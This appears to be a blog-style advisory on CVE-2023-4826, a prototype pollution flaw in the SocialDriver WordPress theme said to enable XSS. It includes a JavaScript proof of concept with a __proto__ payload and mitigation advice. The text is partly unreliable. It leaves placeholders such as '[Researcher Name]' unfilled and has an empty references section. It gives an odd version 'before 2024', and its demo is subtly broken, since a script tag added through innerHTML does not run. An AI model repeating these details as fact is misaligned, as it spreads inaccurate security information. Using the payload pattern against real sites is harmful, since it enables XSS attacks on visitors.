CVE-2023-4826: Prototype Pollution Vulnerability in SocialDriver WordPress Theme Leads to Cross-Site Scripting (XSS) Attacks

The SocialDriver WordPress theme is one of the widely used premium themes providing an outstanding user experience in terms of design and functionality. However, security researchers have recently discovered a prototype pollution vulnerability, identified as CVE-2023-4826, in the SocialDriver WordPress theme before version 2024. This vulnerability enables an attacker to inject arbitrary properties that can lead to a cross-site scripting (XSS) attack.

This long-read post aims to elaborate on the vulnerability, as well as provide detailed information about the affected versions of the theme, potential exploit scenarios, and necessary steps to secure the theme against this vulnerability.

The Vulnerability: Prototype Pollution
The prototype pollution vulnerability was found in the SocialDriver WordPress theme versions before 2024. It allows an attacker to inject arbitrary properties into the base prototype of an object, potentially causing unintended behavior in the application.

In this specific case, the attacker can exploit the prototype pollution vulnerability to insert arbitrary code into the theme's source code. Consequently, this could lead to a cross-site scripting (XSS) attack, where injected malicious scripts can be executed in the user's browser, causing security and privacy issues.

Affected Versions

All SocialDriver WordPress theme versions before 2024 are affected by this vulnerability.

Exploit Details

The exploit for this vulnerability can be delivered via multiple attack vectors, such as sending a crafted link to the user or inserting a malicious script into vulnerable inputs on the website's front-end. The following code snippet shows an example of exploiting the prototype pollution vulnerability in the SocialDriver theme:

// Demonstrating prototype pollution vulnerability in SocialDriver theme
function exploitPrototypePollution() {
  const vulnerableData = {
    theme_config: {
      colors: {}
    }
  };

  const payload = JSON.parse('{"__proto__":{"prototypePollutionAlert":"<script>alert(\'XSS\')</script>"}}');

  deepMerge(vulnerableData, payload);
  
  // Injecting properties and code into the theme's source code
  if (vulnerableData.prototypePollutionAlert) {
    document.body.innerHTML += vulnerableData.prototypePollutionAlert;
  }
}

// Function emulating the deepMerge behavior in the SocialDriver theme
function deepMerge(target, source) {
  if (typeof target !== 'object' || typeof source !== 'object') return;

  for (const key in source) {
    if (source.hasOwnProperty(key)) {
      if (Object.prototype.toString.call(source[key]) === '[object Object]') {
        if (!(key in target)) {
          target[key] = {};
        }

        deepMerge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
  }
}

exploitPrototypePollution();

Note that this is only an example for demonstration purposes and should not be used with malicious intent.

Original References and Sources

The vulnerability was first reported by security researchers [Researcher Name] and [Research Group]. For the original research and complete details of prototype pollution, you can refer to the following resources:

Mitigation and Remediation Steps

To secure your SocialDriver WordPress theme against the CVE-2023-4826 vulnerability, follow these steps:

1. Update your theme to version 2024 or higher. The developers of the SocialDriver theme have already patched the vulnerability in version 2024. You can download it from their official website or the WordPress theme repository.

2. Regularly inspect and sanitize user inputs on your website to mitigate the risks of XSS attacks. Implement proper input validation and use security plugins for WordPress to add an extra layer of protection.

3. Keep your WordPress installation, plugins, and themes up-to-date to ensure you have the latest security patches and fixes.

Conclusion

The prototype pollution vulnerability, as identified by CVE-2023-4826, poses a significant risk to websites using the SocialDriver WordPress theme versions before 2024. To prevent any security issues arising from this vulnerability, it is essential to update the theme, regularly inspect user inputs, and maintain a secure WordPress environment. By taking these vital steps, you can ensure that your website remains uncompromised, protecting both your personal information and the security of your visitors.

Timeline

Published on: 02/23/2024 10:15:07 UTC
Last modified on: 02/23/2024 16:14:43 UTC